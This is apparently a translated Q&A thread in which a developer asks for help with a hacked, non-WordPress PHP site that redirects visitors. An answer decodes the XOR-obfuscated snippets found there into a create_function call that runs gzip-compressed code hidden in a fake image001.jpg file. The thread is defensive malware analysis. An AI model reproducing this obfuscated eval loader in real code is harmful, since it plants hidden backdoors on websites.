PHP 302重定向病毒/黑客发现,需要帮助破译


PHP 302 Redirect virus/hack found, need help to decipher

一个客户最近来找我,他们的网站会重定向到不同的网站,而不是他们的意愿。罪魁祸首原来是下面的代码片段:

//  $wp_ac_remote_retrieve_header = ',S7<f-NH9;%.KM7kF0^L2&1YzYJM.>RB,|Mu"C_@}H2#HEFGKSI 5<K8]M"97Z)GM&FbN%CAKL1/Z:JUOD3!9-!.<B0?9kCNWBQ~~k1U7,7i~&>8<(R<NE<^Zb0>2,EQ]R/SS%wSSD!yN,;"#/T$d/>&b|a^v' ^ "I%VPNm)2PUCB*9RC Y2)mAT-%:%#Z[<6_ToZJ,2%R*^B<1i!*> LL^>K4#GJD9L)9C4L-J.n&5PK7S'$z#-QSX_HKOm`wi.;-2.~.6;t-TI[F-N_JYL}y=&T;(MtYUo*?)3F=6WX;6(Q&<IWCWF;JJ_PA@UHwM";
//  $get_ho_tag_template = 'cr atDW"ufb4)j.'|'!"E!`%HDTl#pHoJ';
//  $start_hg_wp = $get_ho_tag_template(null,$wp_ac_remote_retrieve_header);
//  $start_hg_wp();

显然这不是他们第一次被黑客攻击,因为我还发现下面的代码片段被注释掉了:

//  $comment_zr_date = 'J4UCmj82"&6D?XQz/_F;kB<:#L,FYR<*+vMYS"87tW8OE# B8>LDS=R+ HI<=8S#G5VG@Q;jM^]@5F<(B+5n_DW6L,CX@Nr=h2X:_MKaq-*FOOXH;>^)+FV90%a7qyg^N3*DVQCT7:MvJkKU' ^ '/B4/E*_HKHP(^,4RI6*^4%YN|/C(-7R^X^ov;MUR[0W=!LN$LNc"2P;GY*<OTV6P4V3)44ID.10oX?]L/B[A3-5D-^*=3a"u8w Y:!d19}o>,*4ghV?[N"yv|`Ng!*H7#RM!farz]J*TcBbn';
//  $get_spe_footer = "<=:Q.0(CEVO!8=J" ^ "_O_0ZUw%08,UQR'$";
//  $wp_olw_rss = $get_spe_footer(null,$comment_zr_date);
//  $wp_olw_rss();

没有对这些函数/变量的其他引用。至少在我进行全网搜索时没有发现。此外,文件的权限已更改为只读。

你知道他们是怎么做到的吗?或者上面的代码是如何工作的?移除后,问题/破解将完全消失。然而,由于这是他们第三次遇到这个问题,我相信他们在某个地方留下了自己的开放性。注意,这不是一个WP网站。

* *编辑

文件太大,无法包含,这里有一个链接:

http://pastebin.com/1XyJg4S3

如果你通过base64解码器运行这个,你得到:

http://pastebin.com/JMHtqskM

然而,我无法进一步破译它。似乎有更多的编码或…?

这是一种有趣的混淆。

echo $comment_zr_date;

给:

eval(@gzinflate(file_get_contents("/home/gordonftp/familybusinesscenter.com/myadmin/libraries/PHPExcel/PHPExcel/Shared/OLE/PPS/image001.jpg")));

echo $get_spe_footer;

给:

create_function

通过在两个字符串上使用按位操作符实现混淆(感谢Populus的提示)。参见PHP奇怪的位操作符对字符串

的影响

在cleartext php中,它说:

$comment_zr_date = 'eval(@gzinflate(file_get_contents("/home/gordonftp/familybusinesscenter.com/myadmin/libraries/PHPExcel/PHPExcel/Shared/OLE/PPS/image001.jpg")))';
$get_spe_footer = 'create_function';
// execute the function
$wp_olw_rss = $get_spe_footer(null,$comment_zr_date);
$wp_olw_rss();

在您发布

的内容后可能会进行进一步评估。
@gzinflate(file_get_contents("/home/gordonftp/familybusinesscenter.com/myadmin/libraries/PHPExcel/PHPExcel/Shared/OLE/PPS/image001.jpg"))